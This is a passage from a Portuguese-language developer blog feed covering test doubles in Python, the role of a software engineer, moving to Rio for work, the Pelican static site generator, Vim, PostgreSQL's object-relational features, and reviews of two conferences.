    str(fusca)
    str(gol)

    assert fabricante.get_descricao.call_count == 2

Costumo usar Spies com frequência em testes front-end, principalmente utilizando QUnit e Sinon.JS, para garantir a chamada de um determinado método dentro de eventos complexos, onde não consigo ter certeza sobre o resultado esperado.

Conclusão

Já dizia o filósofo que "mockar é uma arte". A verdade é que o uso de doubles nos ajuda muito quando estamos trabalhando dentro de um contexto de TDD, simplificando assim um relacionamento complexo entre classes/objetos, afim de agilizar o nosso desenvolvimento e facilitar os nosso testes.

Recentemente participei de um treinamento da Industrial Logic, sobre Refactoring, e a lição que ficou foi: Use mocks moderadamente. Sempre dê preferência a uma alteração na arquitetura do seu software (como por exemplo, o uso de Injeção de Dependência).

Se o uso de dublês for inevitável, prefira tipos mais simples (Dummys e Fakes). Dessa forma, os seus testes ficarão simples, legíveis e mais fáceis de manter.

Até a próxima.

Referências

O que é um Software Engineer?

Sun, 29 Mar 2015 22:10:00 GMT

Certa vez, estava eu atualizando o meu LinkedIn quando o @davidsonfellipe me indagou sobre o título de "Analista e Desenvolvedor Web" que possuo atualmente. Segundo ele, "Front-end/Back-end Engineer" é mais atrativo para que headhunters cheguem a um perfil.

Contra argumentei dizendo que essa não era a minha formação, e que não me sentia confortável em me chamar de engenheiro. Ele, hoje um Front-end Engineer com formação em Engenharia da Computação, afirmou que isso era bobagem, e que eu já praticava muitas das suas atribuições no dia a dia.

A partir daí comecei a me perguntar: O que raios é e o que faz um Engenheiro de Software?

Engenharia?

Segundo o Wikipedia:

A engenharia é a ciência, a arte e a profissão de adquirir e de aplicar os conhecimentos matemáticos, técnicos e científicos na criação, aperfeiçoamento e implementação de utilidades, tais como materiais, estruturas, máquinas, aparelhos, sistemas ou processos, que realizem uma determinada função ou objetivo.

Um engenheiro é basicamente o profissional que aplica esse conhecimento para desenvolver soluções para problemas técnicos. Em determinadas áreas de atuação, ele deve estar certificado/licenciado para que possa utilizar esse título.

É importante notar que um engenheiro transita entre diversas áreas de conhecimento dentro de uma determinada profissão. Um Engenheiro Civil, por exemplo, além de gerenciar e executar as obras, também é responsável por fazer análise de solo, ventilação, das instalações elétricas, do saneamento, dos custos, dos padrões de qualidade, da segurança, do prazo, etc.

O que meus amigos acham que eu faço (whatmyfriendsthinkido.net)

Na TI, como não há regulamentação da profissão, é muito comum vermos desenvolvedores "abraçarem" diferentes atribuições dentro de um projeto, e por fim, acabarem exercendo esse papel multidisciplinar.

A Engenharia de Software

O termo "Engenharia de Software", surgiu na década de 60, com a intenção de contornar a crise do Software, e dar um tratamento mais sistemático e controlado ao desenvolvimento de sistemas complexos.

Segundo [Friedrich L. Bauer](http://en.wikipedia.org/wiki/FriedrichL.Bauer "Leia mais sobre Bauer no Wikipedia"), autor do que viria a ser a primeira definição sobre Engenharia de Software:

(...) é a criação e a utilização de sólidos princípios de engenharia a fim de obter software de maneira econômica, que seja confiável e que trabalhe eficientemente em máquinas reais.

Enquanto um cientista da computação estará "focado" com o desenvolvimento de modelos matemáticos, algoritmos, e a aplicabilidade de sua lógica dentro de um contexto específico, o engenheiro, além de estar envolvido com o desenvolvimento do sistema, terá atenção ao processo, à eficiência, aos recursos e até mesmo aos custos.

Em outras palavras: Não basta só programar

O @romulojales me apresentou um ponto de vista super interessante sobre o assunto:

Se eu recebo algo para fazer e simplesmente faço, eu sou apenas um desenvolvedor. Agora, se eu recebo algo para fazer, e questiono, eu sou um engenheiro.

Determinar quais são as responsabilidades de um Engenheiro de Software nem sempre é uma tarefa fácil. O @mittmann apresentou o seu ponto de vista sobre a questão:

Já que a engenharia abrange muita coisa. O engenheiro é um cientista aplicado.

O Facebook, por exemplo, detalha de forma bem sofisticada o que ele espera de um profissional com este título:

Create elegant and useful solutions to solve complex business problems by working across various teams, understanding the needs of our business partners and advertisers, and putting on your product manager hat to provide solutions to solve those problems.
Work closely with product management and UX design teams to define and refine feature specifications.
Design and develop front-end interfaces, underlying APIs, and backend systems across a number of programming languages with focus on JavaScript, React and PHP (Hack).
Analyze and improve the efficiency, scalability, stability, and security of business applications and in-house systems to help scale the company.

Note a ênfase em "eficiência, escalabilidade e estabilidade". É normal vermos empresas exigindo certa experiência nesses quesitos nos tempos atuais (não me surpreenderia se os próximos requisitos para o "cargo" envolvessem big data e "containerização").

Transitar entre as diferentes esferas do conhecimento (como front-end, back-end, storage, infra-structure, business, project management) é outra característica marcante desses profissionais. O SWEBOK (Software Engineering Body of Knowledge) determina quais áreas de conhecimento fazem parte da Engenharia de Software em seu guia, que pode ser baixado diretamente do site da Computer Society.

Conclusão

Dilbert e os engenheiros do Google (seroundtable.com)

Intitular-se engenheiro ou não, é algo que vai além do simples "ter aprendido sobre determinado assunto". Durante a escrita desse artigo, me deparei com vários questionamentos, envolvendo a graduação, a regulamentação da área, e até mesmo sobre cargos, papéis e remunerações.

Na prática, se você é uma pessoa engajada com o projeto, em diferentes esferas, com foco em sustentabilidade, qualidade, transitando entre a base de dados, a infraestrutura, a experiência do usuário, e o código em si. Você pode ter certeza que está desempenhando papéis que cabem a um Engenheiro de Software.

Até a próxima.

Referências

Os testes e os dublês - Parte 1

Thu, 07 Aug 2014 23:00:00 GMT

Em tempos onde discussões envolvendo a relevância dos testes têm causado furor nos diferentes campos da área do desenvolvimento de software, nada mais justo do que "chovermos no molhado", e falarmos sobre testes, mocks, stubs e todos os seus primos menos famosos.

Nessa primeira parte, vamos conceituar toda essa "sopa de letrinhas" e detalhar a forma peculiar como os testes são tratados dentro de um dos times da Globo.com.

Qual causa, motivo, razão ou circunstância?

Eu gosto muito da linha de pensamento que colegas como Rafael Martins e Rômulo Jales, têm em relação a testes automatizados: Pare de perder tempo separando-os em unitários, funcionais, aceitação ou regressão, e vá escrevê-los.

Particularmente, acho vantajoso praticar o TDD, deixando com que os testes me ajudem a montar a arquitetura da aplicação. Quando roubamos um pouco da filosofia do parágrafo anterior, temos um foco maior na resolução de um requisito do que na "minúcia" de uma classe/módulo/pacote. Organicamente conseguimos atingir um desenvolvimento focado no funcional, muito próximo de propostas como a do BDD, sem precisar recorrer a artifícios como user stories.

Ok... deixamos de ser tão "unitários", e aprendemos a lidar com o todo. Mas e os acessos ao banco de dados? Ao Memcached ou Redis? E as interações entre meus serviços e APIs internas? E as escritas em disco? E as sessões do usuário?

Como lidar com tudo isso?

O Case de Esportes 1

O Esportes 1 é um dos 3 times que compõe o núcleo de desenvolvimento da área de esportes, da Globo.com.

No time, decidimos que a maioria dessas interações deve estar lá em tempo de execução dos testes. Ou seja, (com uma ajudinha do Django) nossos testes consultam o banco de dados, interagem com a camada de cache, escrevem em disco, etc.

Somos tão preguiçosos que os testes chegam a consultar os ambientes de teste/desenvolvimento dos serviços criados por outros times, como dados semânticos, de dados esportivos, de vídeos, etc.

Obviamente temos o trade-off dos tempos de execução, que até o momento não chegaram a ser um problema tão grande para a equipe.

Um lugar escuro e frio

Concluímos que nossos testes não são nem de longe isolados. Estamos mais preocupados em validar o comportamento de uma funcionalidade do que de um objeto em específico.

Batemos no peito, orgulhosos de nossa decisão, e começamos a encarar o mundo com olhos marejados pelo árduo caminho que percorremos para chegar até aqui.

Mas existe a "borda" da aplicação. Dali para fora, você não tem controle algum sobre o que acontece. Você apenas tem a promessa de que aquela API vai funcionar. Deixar com que os testes batam nesses serviços "estrangeiros" pode custar muito tempo (e claro, dinheiro), tornando inviável a execução dos mesmos em tempo de desenvolvimento.

E é aí meu amigo, depois dessa justificativa gigante, que entram os mocks, stubs, spies, etc.

Don't mock me!

Entram os dublês!

Vamos abrir um parênteses aqui para esclarecer o conceito de "mock". Na documentação da biblioteca de mock do Python, temos a seguinte (e incrivelmente sucinta) definição:

A “mock object” is an object used to replace a real one in a system under test.

Ou, nas palavras de Martin Fowler:

(...) objetos pré-programados com informações que formam uma especificação das chamadas que esperam receber.

O termo mock faz parte de um conceito mais genérico, conhecido por Test Double. Segundo Fowler, esse termo é usado para qualquer objeto que tem por finalidade, em um teste, substituir um objeto real.

Logo, quando em Esportes1 consumimos um recurso externo, "mentimos" para o sistema. Além do Mock, existem outros dublês que nos ajudam nessa tarefa:

Dummy: Objetos com o propósito apenas de "ocupar espaço", geralmente usados em passagens de parâmetros;
Fake: Objetos funcionais, mas inadequados para um ambiente de produção;
Stubs: Providenciam respostas pré-configuradas, e normalmente não respondem a nada que não esteja programado para o teste;
Spies: Você pega um objeto real, substituindo o comportamento apenas de alguns métodos.

O InfoQ possui um artigo do Martin Fowler, traduzido para o Português, onde ele conceitua bem os diferentes tipos de dublês, principalmente o mock e stub. Vale a leitura.

Na segunda parte deste post, utilizaremos cada conceito de forma prática, e discutiremos um pouco mais sobre o grande dilema: Mockar ou não mockar.

Até a próxima.

Referências

As lições aprendidas em 3 anos de cidade grande

Mon, 05 May 2014 20:00:00 GMT

Neste mês de Maio, faz 3 anos que deixei Schroeder (SC) e me mudei para o Rio de Janeiro, para trabalhar na Globo.com. Não tinha como ser diferente: Eu estava estudando as tecnologias utilizadas pelo "plim-plim" há quase 1 ano, e idealizava como seria trabalhar para uma das maiores empresas de mídia da América Latina.

Recebi uma recomendação (e sou eternamente grato ao Francisco Souza por isso), passei pela entrevista, fui chamado, arrumei a minha mala (sim, uma só) e me mudei para a cidade grande, na "cara e coragem".

De lá para cá aconteceram inúmeras coisas na minha vida pessoal e profissional. Aprendi muito, mais do que qualquer instituição de ensino poderia me ensinar. Logo, caro leitor, se o seu destino é ir para a cidade grande, trabalhar em uma grande empresa, talvez você se interesse pelo que eu tenho a dizer.

Adapte-se!

Não me considero um "carioca". Invejo colegas de trabalho, que assim como eu vieram de outras partes do país, mas que se adaptaram com facilidade.

Essa é uma lição que eu me forço a aprender todos os dias: Adapte-se.

A realidade é completamente diferente daquele pedacinho de paraíso (ou pedacinho de inferno) do qual você veio. A cultura é diferente, a economia move-se diferente, o lazer é diferente, as pessoas são diferentes, os problemas são diferentes, o tempo passa de uma forma diferente.

Adapt! Veja mais em dudeologyforall.wordpress.com

Esteja preparado para uma nova faixa salarial, bem como para um novo patamar nos gastos. Esteja preparado para o trânsito caótico, bem como para fazer as mais exóticas amizades. Esteja preparado para a saudade, bem como para deixar os seus conterrâneos orgulhosos. Esteja preparado para estar por conta própria, bem como para enfrentar desafios que você jamais enfrentaria morando com os pais. Esteja preparado para se perder pelas ruas, bem como para encontrar lugares magníficos pelo caminho.

E esteja preparado para a violência, para a desigualdade social e para tantos outros problemas que assolam o nosso país, e que ficam mais evidentes em uma capital.

A Alexia Caldas, atualmente Scrum Master na Globo.com, uma vez me disse: Você tem que aceitar o Rio.

E é basicamente isso! Só depende de você encontrar uma forma de maximizar os prós e minimizar os contras.

Controle o seu ego...

Admito que sempre tive um problema com o ego. Antes de me mudar para o Rio eu me sentia "invencível", capaz de liderar qualquer equipe ou de enfrentar qualquer desafio. As minhas expectativas em relação a mim mesmo eram totalmente desproporcionais.

Esse tipo de postura só é resolvida com choque de realidade. E foi o que aconteceu comigo logo no meu primeiro dia de Globo.com. Quando você passa a conviver com pessoas mais inteligentes (as experientes e maduras, não as "exibicionistas") a sua falta de vivência fica tão evidente que você é obrigado a se posicionar para resolver este problema.

É fácil ter um olho em terra de cego, quero ver você se virar em terra de beholder.

... mas não se subestime

Humildade é sempre bom, mas você deve se dar o valor. E isso é para qualquer coisa na vida.

Ser mais "aguerrido" em uma discussão se faz necessário para a tomada de decisão, principalmente se você não acredita na decisão que está prestes a ser tomada. Você possui a sua experiência, a sua gama de conhecimento, e deve articular argumentos para defender o seu ponto de vista.

Nunca deixe que "os anos de casa" do seu colega sejam o diferencial para uma batida de martelo, muito menos que o grau de instrução te intimide perante o "embate". Os argumentos sim, esses devem ser o diferencial.

As vezes optamos pelo silêncio, alegando que estamos "respeitando" a opinião dos demais. Mas o que você enxerga como "respeito", o seu gerente/superior pode enxergar como "covardia". Sempre tenha a sua opinião (mas esteja apto a mudá-la quando necessário) e use bons argumentos para defendê-la (mas seja educado).

Você não está em um campo de batalha, muito menos em um monastério fazendo voto de silêncio.

Só trabalho sem diversão faz de Jack um bobão

Adapt! Jack, de O Iluminado

É sempre bom lembrar: Não mude-se sem um tostão no bolso! Tenha uma reserva, e que ela seja uma "senhora reserva". Tenho certeza que ela será muito útil nos primeiros meses da sua nova vida, principalmente para lidar com aquele cheque caução do aluguel.

Em contrapartida, não torne-se escravo do trabalho. Mesmo na ausência de "distrações" como família, amigos, namorada, cachorro, papagaio, televisão, vídeo game, entre outros, não use 100% do seu tempo trabalhando. Mesmo que você tenha se mudado exclusivamente por causa do trabalho (meu caso), tenha momentos de lazer.

Quando me mudei, percebi que precisava estudar uma porção de conceitos e tecnologias utilizadas pelo time que eu ingressara. "Coisas" das quais não aprendi na escola, curso técnico ou faculdade, mas que eles sim. Logo, passei a investir quase a totalidade do meu tempo livre para aprender estes conceitos, descobrir como usar essas tecnologias, qual a melhor forma de empregar determinado padrão. Só assim eu seria capaz de acompanhá-los durante o percorrer do projeto, certo?

A intenção foi nobre, a disciplina foi notória, mas os resultados nem tanto. Passado pouco mais de um ano, eu quase perdera total contato com a minha família, não me alimentava direito, mal saia de casa e o meu rendimento no trabalho não passava de razoável. O "saco cheio" foi tanto, que por muitas ocasiões cogitei arrumar a minha mala (sim, uma só) e voltar correndo para a minha zona de conforto.

Conheça os seus limites, determine um valor para o seu tempo, crie um coeficiente de felicidade e busque o equilíbrio entre a sua vida pessoal e profissional.

Para concluir

A experiência poderia ter sido melhor, isso é fato. Enfatizo novamente a falta de equilíbrio, e também a perda de um estabelecimento de prioridades entre minha vida pessoal e profissional.

Mas se me perguntarem se me arrependo de ter tomado esta decisão, há 3 anos atrás, eu respondo sem pestanejar: Não! E faria de novo se tivesse a oportunidade.

Em tempo, recomendo este peculiar artigo do Papo de Homem, sobre morar sozinho: O que ninguém conta sobre morar sozinho.

Até a próxima!

Pelican e os static site generators

Wed, 26 Mar 2014 12:00:00 GMT

O Django é de longe o meu framework Python favorito. Fácil, extensível, com uma série de "baterias inclusas" que tornam o desenvolvimento de aplicações web muito mais fácil e divertido.

Mas verdade seja dita, para algumas soluções, é como se utilizássemos um canhão para matar um mosquito. Existe toda uma preocupação no que diz respeito a persistência, caching, serviço de aplicação e serviço Web, que em determinados contextos não passa de "overhead".

Foi em cima dessa linha de pensamento que resolvi abandonar a engine de blog django-diario, e me aventurar pelo mundo dos geradores de sites estáticos.

Por que um static site generator?

Geradores de sites estáticos não são nenhuma novidade, e existem aos montes. Seja em Ruby, Node.js, PHP ou até mesmo em Perl, a sua popularidade é notória e no mínimo curiosa.

Alguns amam, outros odeiam. A verdade é que (uma vez a sua ferramenta devidamente configurada) eles tornam a publicação de conteúdo muito simples: Basta pegar o HTML gerado e jogar no seu servidor favorito, podendo inclusive ser aquela sua hospedagem nacional, que mal funciona e que você sonha um dia ter suporte a Python 3.

Já passei por problemas com indisponibilidade de banco de dados, websites invadidos por falhas de segurança em aplicações como Joomla! e Wordpress, e nem vou mencionar as dores de cabeça que já tive para configurar um servidor WSGI dentro de uma hospedagem.

Com ferramentas como o Pelican esses problemas deixam de existir. A persistência é feita no seu próprio disco, o que é ótimo, já que você pode manter o seu blog inteiro (inclusive o seu conteúdo) versionado no GitHub.

Não estamos "regredindo" para um web estática, estamos apenas explorando diferentes meios para publicação de conteúdo :)

Pelican FTW!

Por que Pelican? Porque é feito em Python. Simples assim.

Foi a primeira ferramenta que encontrei feita na linguagem, e desde lá venho explorando as suas funcionalidades. Logo, seria hipocrisia dar qualquer resposta diferente desta.

É claro que a ferramenta possui seus atrativos, a começar pela ótima integração com o Jinja2, que torna o processo de criação dos temas muito mais fácil e intuitivo. Estender o Pelican é simples, embora ele já possua uma série de plugins e temas para diferentes fins, prontinhos para uso.

Nesse processo escrevi um tema para o blog, e tendo escrito templates para Joomla!, Wordpress e até mesmo Django, sou obrigado a dizer: É muito, muito mais simples!

Além de ser fácil de usar, a ferramenta pelican-quickstart te entrega logo de cara uma estrutura de projeto bem consistente, incluindo tasks de publicação através de Makefile e Fabric. É configurar o seu pelicanconf.py, escolher o seu tema preferido, e sair usando.

Lembro de começar a usar o Pelican antes da sua versão 3.3, e foi uma tremenda dor de cabeça. Essa última versão está mais "redonda", sua documentação abrange muito bem os passos de escrita conteúdo e criação de temas.

Minha maior crítica fica na fraca solução dada para instalação e gerência de temas e plugins. Fico na esperança de alguma boa alma chegar com uma ideia muito boa para resolver esse problema.

Considerações finais

Hype ou não, os static site generators possuem sim o seu valor. Se você está querendo blogar, ou está cansado de lidar com aquele seu Wordpress que mais parece um elefante branco, considere utilizar uma dessas ferramentas.

E se você é pythonista, considere utilizar o Pelican. Quanto mais gente talentosa estendendo-o, melhor ele ficará!

Até a próxima.

Opinião: Front in BH 2013

Mon, 05 Aug 2013 15:39:45 GMT

No dia 03 de agosto de 2013, tive o prazer de participar do Front in BH, edição 2013. Organizado pelo @davidsonfellipe e @keppelen, o evento contou com palestrantes de peso e com uma organização que, além de surpreendente, tirou um "gosto ruim" que eu tinha em relação a eventos de front-end.

Descontraído porém relevante. Talvez essa seja a melhor definição para esta edição. Não participei das anteriores, mas os feedbacks positivos são suficientes para adicionar o Front in BH na minha agenda de eventos para o próximo ano.

Expectativas

Talvez eu tenha gostado tanto do Front in BH por ter controlado as minhas expectativas. Em alguns eventos que fui recentemente, me senti mais em um show de stand up comedy ruim do que em um evento de tecnologia. Não que os palestrantes precisem ser totalmente sérios, mas a última coisa que nós como público precisamos é ficar aturando piadas ruins.

Entrei pelos portões do Teatro Ney Soares sem nem mesmo saber os tópicos que seriam discutidos. Fui para prestigiar o trabalho de alguns camaradas, e não me arrependi.

Resultados

A verdade é que este evento teve conteúdo e humor em uma dosagem equilibrada. O @bernarddeluna e o @zenorocha mandaram muito bem nos intervalos entre as palestras, deixando o público "aceso" e acredito que quebrando um pouco do "gelo" entre público e palestrante.

Na minha opinião a palestra matadora foi a do @sergio_caelum, com o título "Repensando o front-end para telas de alta resolução". É o tipo de discussão que cabe em qualquer evento sobre desenvolvimento Web. Muito boa a "performance" do palestrante, fora que o conteúdo apresentado foi excepcional.

Um ponto que vale observar: Estamos preocupados, tanto no back-end quanto no front-end, com automatização de testes. As palestras do @cironunesdev e do @andrewsmedina foram o suficiente para apontar caminhos no que diz respeito a testes Javascript e de interfaces.

As palestras foram muito boas. O que prova que qualidade sempre traz maiores benefícios que a quantidade.

Considerações Finais

Um evento bem organizado, dinâmico e extremamente relevante. Se você é front-end e tem disponibilidade de ir a BH, é obrigação sua participar da próxima edição do Front in BH. É visível que foi feito com cuidado e carinho, e é uma ótima oportunidade para você conhecer excelentes profissionais da área.

Até a próxima...

Vim: O meu editor favorito

Mon, 04 Mar 2013 22:34:38 GMT

Há um bom tempo que eu trabalho com o Vim, tanto tempo que quando estou em qualquer outro editor escrevo :wq para salvar e sair.

Mas não comecei a utilizar o Vim por gostar de desafios… foi pura necessidade! Trabalhei em uma empresa onde desenvolvíamos em uma máquina remota, através de linha de comando. Logo, entre o Vim e Emacs (ou ficar subindo arquivos via FTP ou SSH), optei pelo mais fácil de usar. É claro que no início eu não conseguia encontrar facilidade de jeito nenhum. Navegar pelas teclas h, j, k e l não fazia sentido nenhum para mim, sem falar que (segundo os meus colegas de trabalho) utilizar o PageUp , PageDown, Home e End era praticamente uma heresia.

Mas aos poucos o editor foi conquistando a minha simpatia, e foi me mostrando as suas principais virtudes em relação a outras aplicações. É fato que não sou nenhum “guru” no assunto, mas me sinto na obrigação de compartilhar alguns dos pontos que mais me chamaram a atenção com o uso do Vim.

Todas as teclas ao alcance das mãos

Não vou contar a história do Vim, muito menos ficar explicando como utilizar a ferramenta. Eu vou simplesmente apresentar os motivos pelo qual eu gosto desse simpático editor de textos.

A principal vantagem em usar o Vim é que você tem controle total sobre o conteúdo, sem necessitar movimentar muito as suas mãos. O uso de mouse é totalmente dispensável, sem falar da interface gráfica. Hoje, com variações como o Gvim, MacVim e Pida, temos algumas facilidades e melhorias na experiência de uso (principalmente pelo uso da GUI), em relação ao “Vim puro”, que tornam o dia-a-dia muito mais fácil e prático.

Teclas do VIM

Outro ponto interessante é que seja no Linux, Mac ou Windows, a experiência básica é a mesma. Você “sofre” menos com o layout do teclado, principalmente pelo fato do editor “abolir” o uso de direcionais, e manter a experiência mais “uniforme” independentemente da plataforma.

Customizações

Outra característica muito importante do Vim é a sua customização. É possível alterar desde comportamentos básicos como fonte de texto, cores, teclas de atalho e navegação, até comportamentos mais avançados como a exibição de uma árvore de arquivos.

É possível criar plugins utilizando Python, Lua, Perl, Ruby, etc. O editor também possui uma linguagem própria de scripts chamada Vimscript. No site do Vim você pode conferir uma extensa lista de plugins. Também é possível acompanhar o desenvolvimento de extensões no GitHub.

Um dos plugins mais sensacionais é o Vundle. Trata-se de um gerenciador de extensões, onde de maneira muito simples é possível instalar e atualizar os mais variados tipos de soluções para o editor. Com ele, fica muito mais fácil versionar e distribuir o seu vimrc para o seu grupo de trabalho.

Abaixo estão algumas extensões que não podem faltar no meu ambiente de trabalho:

ctrlp.vim – Encontre arquivos e tags em seus projetos
nerdtree – Explore o seu projeto através de uma árvore de diretórios
syntastic – Verificador de sintaxe que abrange Python, Ruby, PHP, Javascript, etc
vim-fugitive – Um wrapper para utilizar o Git sem sair do Vim
vim-powerline – Adicione uma statusline mais eficiente ao seu Vim
Wombat – Um excelente tema para o editor

Free e open source

E por último mas não menos importante: O Vim é livre, e de código aberto.

A sua licença de uso é peculiar, já que é compatível com a GNU GPL, mas possui cláusulas que incentivam doações para crianças em Uganda. Uma causa muito nobre do autor da ferramenta, Bram Moolenaar, que além de manter o Vim e fazer caridade, participa de outros tantos projetos de código aberto.

Considerações finais

Algumas ferramentas acabam cativando os seus usuários de tal modo, que os pontos negativos acabam sendo (propositalmente) esquecidos. No meu caso o Vim é uma dessas ferramentas, e embora eu entenda as críticas em relação a sua curva de aprendizado, ainda assim o acho mais prático que muita ferramenta moderna que tem “pipocado” recentemente.

Se você tem interesse, ou acha um desafio interessante utilizar o Vim, eu recomendo que pule de cabeça agora mesmo. Não espere para acabar aquele manual (ou tutorial) que você vem “negligenciando” há meses. A maneira mais divertida é ir aprendendo de acordo com a necessidade.

Até a próxima…

Uma ode ao PostgreSQL

Thu, 31 Jan 2013 20:39:21 GMT

O MySQL é um dos meus mais leais companheiros de projetos, desde os meus tempos de PHP até projetos mais recentes com o Python. A sua agilidade e facilidade são indiscutivelmente boas, tanto que renderam ao projeto um “domínio global” no ramo.

Hoje, sob “cuidados” da Oracle, o projeto tem causado certas desconfianças. A criação de um fork pelo autor original não ajudou, e isso abriu margem para um velho, confiável e simpático banco de dados: o Postgres.

Qual o motivo de começar um post sobre o Postgres falando do MySQL? Eu sempre me apoiei na “facilidade de uso” na hora de escolher entre os dois, e só recentemente me “obriguei” a experimentar o Postgres em alguns projetos. O resultado foi a total satisfação com a experiência, e a (surpreendente) conclusão que ele é tão fácil de mexer quanto o seu concorrente.

O que há de especial no Postgres?

O Postgres está sob a licença PostgreSQL License, muito similar a BSD e MIT, que nos permite o livre uso, cópia, modificação e distribuição. Assumidamente o “banco de dados open source mais avançado do mundo”, ele é conhecido pela sua estabilidade, servindo projetos de larga escala em todo o mundo. Embora eu nunca pude por à prova a sua confiabilidade e escalabilidade, o fato de ele ser usado como banco relacional pelo Heroku apresenta credenciais o suficiente.

Entre as diversas funcionalidades do Postgres, o suporte a operações assíncronas, o Full Text Search e o PostGIS se mostraram um bom diferencial para mim. Este último na verdade trata-se de uma extensão do Postgres (comprovando outra característica valiosa do banco, a extensibilidade), e tive a oportunidade de utilizá-lo em um projeto recente com Python e Django. Embora a sua implantação não tenha sido tão trivial quanto o esperado, o resultado atendeu completamente as expectativas.

Outro ponto que acho muito bacana no projeto, é o seu compromisso em seguir o padrão SQL. Atualmente (versão 9.2), o Postgres se compromete em atender o padrão ANSI-SQL: 2008. Acho muito bacana esse compromisso, principalmente se formos levar em consideração a quantidade de dialetos SQL que temos hoje em dia.

Junte isso tudo a facilidade de uso, e temos uma excelente ferramenta à nossa disposição. Ainda não está satisfeito? Então vamos falar um pouco sobre uma das características mais marcantes (e discutidas) do Postgres: O modelo objeto-relacional.

Objeto-Relacional?

A definição de banco de dados objeto-relacional da Wikipedia é a seguinte:

(...) é um sistema de gerenciamento de banco de dados (SGBD) semelhante a um banco de dados relacional, porém com um modelo de banco de dados orientado a objetos: objetos, classes e herança são suportados diretamente nos esquemas do banco de dados e na linguagem de consulta. Além disso, ele suporta extensão do modelo de dados com a personalização de tipos de dados e métodos.

Basicamente, um banco de dados objeto-relacional armazena os seus dados de forma “relacional”, mas é capaz de abstrair o seu acesso através de objetos, possibilitando assim a construção de operações mais complexas que podem envolver conceitos da orientação a objetos. No Postgres, tabelas, relacionamentos, restrições e triggers são considerados objetos.

Mas não são os “objetos” que vemos nas linguagens de programação. O termo “objeto” aqui é um pouco diferente (e eu diria até limitado), embora podemos encontrar heranças, polimorfismo e object ids. No caso do Postgres, o “objeto” de “objeto-relacional” está ligado a todos os aspectos citados anteriormente, mais a organização dos “recursos”, como na utilização de schemas, e na criação de tipos e manipulação de dados complexos.

Ou seja, você não verá uma notação como essa em uma query:

SELECT NOW().to_char('HH12:MI:SS');

E sim, a notação utilizando funções:

SELECT to_char(NOW(), 'HH12:MI:SS');

Mas em compensação, você verá que to_char é uma função polimórfica:

SELECT to_char(10.3333333, '99.99');

Se você não está satisfeito, e não se sente confortável com o termo “objeto” usado pelo Postgres, fique tranquilo… mais pessoas carregam esta angústia. Michael Stonebraker criou um esquema para identificar um ORDBMS, e partindo dele sou obrigado a concordar que o Postgres é de fato um banco objeto-relacional quando me deparo com o seguinte cenário:

CREATE TYPE inventory_item AS (
    name            text,
    supplier_id     integer,
    price             numeric
);

CREATE TABLE on_hand (
    item      inventory_item,
    count     integer
);

INSERT INTO on_hand VALUES (ROW('fuzzy dice', 42, 1.99), 1000);
INSERT INTO on_hand VALUES (ROW('cards', 42, 6.99)::inventory_item, 500);

Uma manipulação complexa, com tipos criados pelo próprio usuário, utilizando queries.

Considerações finais

O Postgres é poderoso! Disso eu não tinha dúvidas. Mas ficar mais próximo do banco me fez perceber o quanto ele pode agregar ao projeto. Se em um próximo projeto você estiver em dúvida, e achar que a utilização dele pode ser complicada, eu recomendo que experimente.

Até a próxima…

Referências

Opinião: Python Brasil [8]

Sun, 09 Dec 2012 14:38:15 GMT

Nos dias 21 a 24 de Novembro de 2012 aconteceu a Python Brasil. Em sua oitava edição, o evento mais aguardado pelos desenvolvedores Python “tupiniquins” me surpreendeu completamente. Um dos melhores eventos que participei nos últimos tempos!

E não é só pelo conteúdo apresentado durante as palestras, ou pelos convidados especiais que deram um show a parte em suas apresentações, mas esse “sentimento” deve-se ao fato de ser a primeira vez que fiquei tão próximo da comunidade Python, e me senti muito feliz por compartilhar estes dias com pessoas tão bacanas e interessantes.

Expectativas

Nunca tive dúvidas em relação a qualidade do evento, pelo contrário, várias pessoas que conheço já haviam participado e deram um bom feedback. A Globo.com é “figurinha carimbada” no evento, portanto vários colegas de trabalho já haviam participado, seja como expectador ou como palestrante.

Mas a minha expectativa maior estava em relação às pessoas. Estar entre o pessoal era algo muito difícil para mim (geograficamente falando), então conhecer alguns profissionais que acompanho pelo Twitter era uma das metas que eu tinha para o evento.

Estande da Globo.com na Python brasil 8

Resultados

Não consegui assistir aos tutoriais, logo, meu feedback será totalmente focado nas palestras.

Acredito que a melhor maneira de resumir o resultado é: Não vejo a hora de participar da Python Brasil 9.

O evento contou com alguns probleminhas de atrasos, e em alguns momentos de conectividade, mas fora isso foi excelente! O local, bem posicionado no centro do Rio de Janeiro, possuía um grande espaço. As salas para as apresentações eram de fácil acesso. A programação estava excelente, contando com palestras que iam de provisionamento com Puppet até programação com o Raspberry Pi.

Fiquei muito feliz por ter participado do evento, e transmito os meus parabéns a todos os envolvidos. Um trabalho duro, de fato, mas muito bem executado.

Em tempo… o café do pessoal do Curto Café estava sensacional! Vale a recomendação… café feito com muita paixão.

As palestras

Não pretendo descrever como foi cada palestra, apenas levantar alguns pontos marcantes. Por exemplo, Massimo Di Pierro, lead developer da Web2Py, fez a seguinte declaração:

Todo mundo deveria programar, pois gera valor, e pode ser descartado sem avarias ao meio ambiente.

A palestra do Massimo foi muito boa, focada nas facilidades de uso do Web2Py. Algumas declarações como “convention over configuration” foram um tanto controversas, mas ele conseguiu passar o seu ponto.

Sergio Oliveira e Davi Oliveira falaram sobre Puppet, e demonstraram ao vivo o seu uso. O GitHub da TracyWebTech possui uma série de scripts para provisionamento prontos, que valem a pena dar uma olhada. Ainda em provisionamento, Diogo Baeder e Bernardo Heynemann falaram sobre o Provy, uma forma de provisionar servidores “feita para desenvolvedores” (e em Python (: ).

Uma das melhores palestras do evento foi a do Tarek Ziade sobre o Circus. A apresentação pode ser conferida aqui. É bom conhecer uma alternativa mais rica ao Supervisor, com monitoramento em tempo real e um console Web para gerenciamento.

Tarek Ziade, da Mozilla, falando sobre Circus

O Tarek falou também sobre empacotamento em Python. Eu acho a experiência do pip e PyPI excelente, e acho que o empacotamento é um ponto fortíssimo da linguagem. Mas, segundo a sua apresentação, o palestrante conseguiu levantar alguns pontos negativos, e salientou o árduo caminho que o Python trilhou para chegar até o momento atual. Vale a pena conferir!

Bob Hancock marcou presença com a sua palestra sobre paralelismo e concorrência, disparando uma série de frases que “reverberaram” pelo Twitter:

PyPy is not the salvation!
Be an Engineer and not a Developer.
Don’t write another Web Framework.

Outras tantas palestras foram sensacionais, como a do Bruno Rocha sobre Whoosh, ou do Andrews Medina sobre refactoring. Pretendo escrever posts específicos com o conteúdo destas, portanto, não vou tornar este post mais longo e vou parar por aqui.

Até a próxima…

Entendendo o CGI, FastCGI e WSGI

Fri, 02 Nov 2012 15:09:19 GMT

